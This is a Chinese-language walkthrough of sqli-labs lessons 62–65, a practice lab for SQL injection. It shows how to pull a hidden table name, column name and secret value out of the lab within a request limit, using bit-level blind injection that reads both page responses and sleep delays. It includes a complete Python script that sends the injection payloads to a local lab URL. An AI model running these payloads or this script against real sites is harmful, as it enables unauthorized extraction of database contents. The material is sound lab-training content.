66.Less62
请求方式 |
注入方式 |
备注 |
GET |
盲注 |
130次语句以内完成 |
分析
我们需要指定challenges数据库中表名,表名为10个字符(包含数字和小写字母)。
还需要知道表中的字段名,字段名为secret_XX,XX为4个字符(包含数字和大写字母)。
字段内容有24个字符(包含数字,大写字母和小写字母)。
- 采用暴力枚举盲注(使用等于号枚举)需要 10*(10+26)+4*(10+26)+24*(10+26+26) = 1992次。
- 采用二分法盲注(使用大于,小于,等于判断枚举)需要 (10+4+24)*log2(10)+(10+4+24*2)*log2(26)+=418次(理想情况下)。
我们发现id取不同的值,页面返回不同的用户信息(di值从1到12)。
我们可以暴力枚举比特位的方法。利用左移(>>)运算符预设要判断的位置。
select case bin(ascii(substr(table_name, 1, 1))>>3) & (POW(2,0)+POW(2,1)+POW(2,2))
when 0 then 1
when 1 then 2
when 2 then 3
when 3 then 4
when 4 then 5
when 5 then 6
when 6 then 7
else 8 end, bin(ascii(substr(table_name, 1, 1))),bin(POW(2,0)+POW(2,1)+POW(2,2)), substr(table_name, 1, 1)
from information_schema.tables where table_schema='challenges'
使用上述代码,爆破challenges的第一个表的第一个字符的0-2比特位(3个比特位),并返回某种对应的值。
例如字符'b'的二进制为01100010,低三位为010,和111进行与运算,得到010(十进制为2),根据条件,返回数值3。
上述是根据返回状态的盲注。
一个字符8个比特,一次判断出3比特,一个字符判断3次,一共10+4+24=38个字符,大约38*3=114次。
保证我们需要的数字为输入参数,我们需要先分析语句的类型为整形或字符型(有没有括号闭合),在利用位运算实现得到指定的数值。
使用手动判断的方法判断出闭合类型为字符型(单引号、括号闭合)。
利用位运算得到想要的数值。
但是在网页请求中使用,无法正常执行。
需要我们将&和|进行URL编码,才可以正常执行。实现我们输入的参数id为1,但是返回的结果为我们指定的id为3的信息。同上需要将+使用%2B编码,否则会被php转换为空格。
我们还可以再减少次数,刚才每个字符需要3次请求,我们可以再缩减到2次。
我们请求后除了有显示的不同状态,其实还有一个状态--请求时间或者延时。
我们每次可以获取3bit数据,我们再利用sleep判断获取1bit信息,这样我们就可以每次获取4bit数据,并且实现一个字符2次请求即可。
具体的是第一次请求,获取0-2位时,使用if判断第6位的数据;第二次请求,获取3-5位时,使用if连接判断第7位的数据。
例如上图,获取了0-2位的数据(需要减一,即实际为7),通过查询时间,判断出第6位的数据为1,同时获取4比特数据。
得到第一个字符的二进制位:x1xxx111。
例如上图,获取了3-5位的数据(需要减一,即实际为4),通过查询时间,判断出第7位的数据为0,同时获取4比特数据。
得到第一个字符的二进制位:01100111,即位字符'g'。
这样,一共24+10+4=38个字符,每个字符2次请求,共需要38*2=76次请求即可。
20次请求,成功爆破出表名:
我们可以爆破出字段名和内容。
脚本:
# coding:utf-8
# 基于字符串比特位匹配的盲注脚本
import time
import requests
import re
import os
sql_fp = "1')%260%7c"
# 由于服务器响应慢,正常返回为2s多,sleep(0.1)延时1s
sql_cmd = sql_fp + "(select case bin(ascii(substr(@0_name, @1, 1))>>@2) %26 (POW(2,0)%2BPOW(2,1)%2BPOW(2,2))" \
"when 0 then 1 " \
"when 1 then 2 " \
"when 2 then 3 " \
"when 3 then 4 " \
"when 4 then 5 " \
"when 5 then 6 " \
"when 6 then 7 " \
"when 7 then 8 else 9 end " \
"%7c (if((bin(ascii(substr(@0_name, @1, 1))>>@3) %26 POW(2,0)) = 1,sleep(1),1) %26 0)" \
"from information_schema.@0s where table_schema=database() @4 ) --+"
sql_search = sql_fp + "(select case bin(ascii(substr(@0, @1, 1))>>@2) %26 (POW(2,0)%2BPOW(2,1)%2BPOW(2,2))" \
"when 0 then 1 " \
"when 1 then 2 " \
"when 2 then 3 " \
"when 3 then 4 " \
"when 4 then 5 " \
"when 5 then 6 " \
"when 6 then 7 " \
"when 7 then 8 else 9 end " \
"%7c (if((bin(ascii(substr(@0, @1, 1))>>@3) %26 POW(2,0)) = 1,sleep(1),1) %26 0)" \
"from @4 ) --+"
url = 'http://127.0.0.1:8003/Less-62/?id='
state_list = []
rp = 'Your\s*Login\s*name\s*:\s*(.*?)<br>'
rc = 1
def main():
if os.path.exists('./bsl.txt'):
print('文件存在')
with open('./bsl.txt', 'r') as f:
res = f.read().split('\n')
for i in res:
if i != '':
state_list.append(i)
else:
print('文件不存在')
# 0.爆破状态表
print('收集状态表')
state_list.append('0')
for i in range(1, pow(2, 3)+2):
u = url + str(i)
respond = requests.get(u)
state_list.append(re.findall(rp, respond.text)[0])
print('.', end='')
with open('./bsl.txt', 'w') as f:
f.write('\n'.join(state_list))
print('写入完成')
print('爆破状态表:')
print(state_list)
# @ 表名
table_name_list = []
if input('是否指定表名? y/n:') != 'y':
print('[~]进行表名判断')
for i in range(1, 11):
c = 0
# 1.判断 字符的第0,1,2,6位
# 010 大写字母; 011 小写字母; 001 数字
state = req('table', i, 0, 6)
c = c | state[0] | state[1] << 6
# print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
# 2.判断 字符的第3,4,5,7位
state = req('table', i, 3, 7)
c = c | state[0] << 3 | state[1] << 7
# print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
table_name_list.append((chr(c)))
table_name = ''.join(table_name_list)
print('爆破表名为: [ {} ]'.format(table_name))
else:
table_name = input('输入表名:').strip()
# @字段名
column_name_list = []
offset = 7
if input('是否指定字段名? y/n:') != 'y':
print('[~]进行第三个字段名名判断,从第7个字符,判断4个字符出来')
for i in range(1, 5):
c = 0
# 1.判断 字符的第0,1,2,6位
# 010 大写字母; 011 小写字母; 001 数字
state = req('column', i+offset, 0, 6, table_name=table_name)
c = c | state[0] | state[1] << 6
# print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
# 2.判断 字符的第3,4,5,7位
state = req('column', i+offset, 3, 7, table_name=table_name)
c = c | state[0] << 3 | state[1] << 7
# print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
column_name_list.append((chr(c)))
column_name = 'secret_' + ''.join(column_name_list)
print('爆破的字段名为:[ {} ]'.format(column_name))
else:
column_name = input('输入字段名:').strip()
# 9u8573nri2
# secret_WJWE
# @字段内容
value_list = []
print('[~]字段值进行枚举中....')
for i in range(1, 25):
c = 0
# 1.判断 字符的第0,1,2,6位
# 010 大写字母; 011 小写字母; 001 数字
state = search(column_name, table_name, i, 0, 6)
c = c | state[0] | state[1] << 6
# print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
# 2.判断 字符的第3,4,5,7位
state = search(column_name, table_name, i, 3, 7)
c = c | state[0] << 3 | state[1] << 7
# print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
value_list.append((chr(c)))
value = ''.join(value_list)
print('爆破表名为: [ {} ]'.format(table_name))
print('爆破的字段名为:[ {} ]'.format(column_name))
print('[!]{}的值为:[ {} ]'.format(column_name, value))
def req(type, i, co, ci, **kwargs):
global rc
rl = []
t = sql_cmd
if type == 'column':
ep = "and table_name = '{}' limit 2,1".format(kwargs['table_name'])
else:
ep = ''
sql = t.replace('@0', type).replace('@1', str(i)).replace('@2', str(co)).replace('@3', str(ci)).replace('@4', ep)
u = url + sql
print('[!]第{:d}次请求......'.format(rc))
rc = rc + 1
time_start = time.time()
respond = requests.get(u)
time_end = time.time()
timeReal = time_end - time_start
# print(respond.text)
rl.append(getIndex(state_list, re.findall(rp, respond.text)[0]) - 1)
# print(timeReal)
if timeReal > 4:
rl.append(1)
else:
rl.append(0)
return rl
def search(cn, tn, i, co, ci):
global rc
rl = []
t = sql_search
sql = t.replace('@0', cn).replace('@4', tn).replace('@1', str(i)).replace('@2', str(co)).replace('@3', str(ci))
u = url + sql
print('[!]第{:d}次请求......'.format(rc))
rc = rc + 1
time_start = time.time()
respond = requests.get(u)
time_end = time.time()
timeReal = time_end - time_start
# print(respond.text)
rl.append(getIndex(state_list, re.findall(rp, respond.text)[0]) - 1)
# print(timeReal)
if timeReal > 4:
rl.append(1)
else:
rl.append(0)
return rl
def getIndex(bl, value):
for i, e in enumerate(bl):
if e == value:
return i
return -1
if __name__ == '__main__':
main()
67.Less63
请求方式 |
注入方式 |
备注 |
GET |
盲注 |
130次语句以内完成 |
以')闭合,修改闭合方式即可。
使用less62中脚本,修改代码中的sql_fp为 "1')%260%7c"。
68.Less64
请求方式 |
注入方式 |
备注 |
GET |
盲注 |
130次语句以内完成 |
以))闭合,修改闭合方式即可。
使用less62中脚本,修改代码中的sql_fp为 "1))%260%7c"。
69.Less65
请求方式 |
注入方式 |
备注 |
GET |
盲注 |
130次语句以内完成 |
以")闭合,修改闭合方式即可。
使用less62中脚本,修改代码中的sql_fp为 "1\")%260%7c"。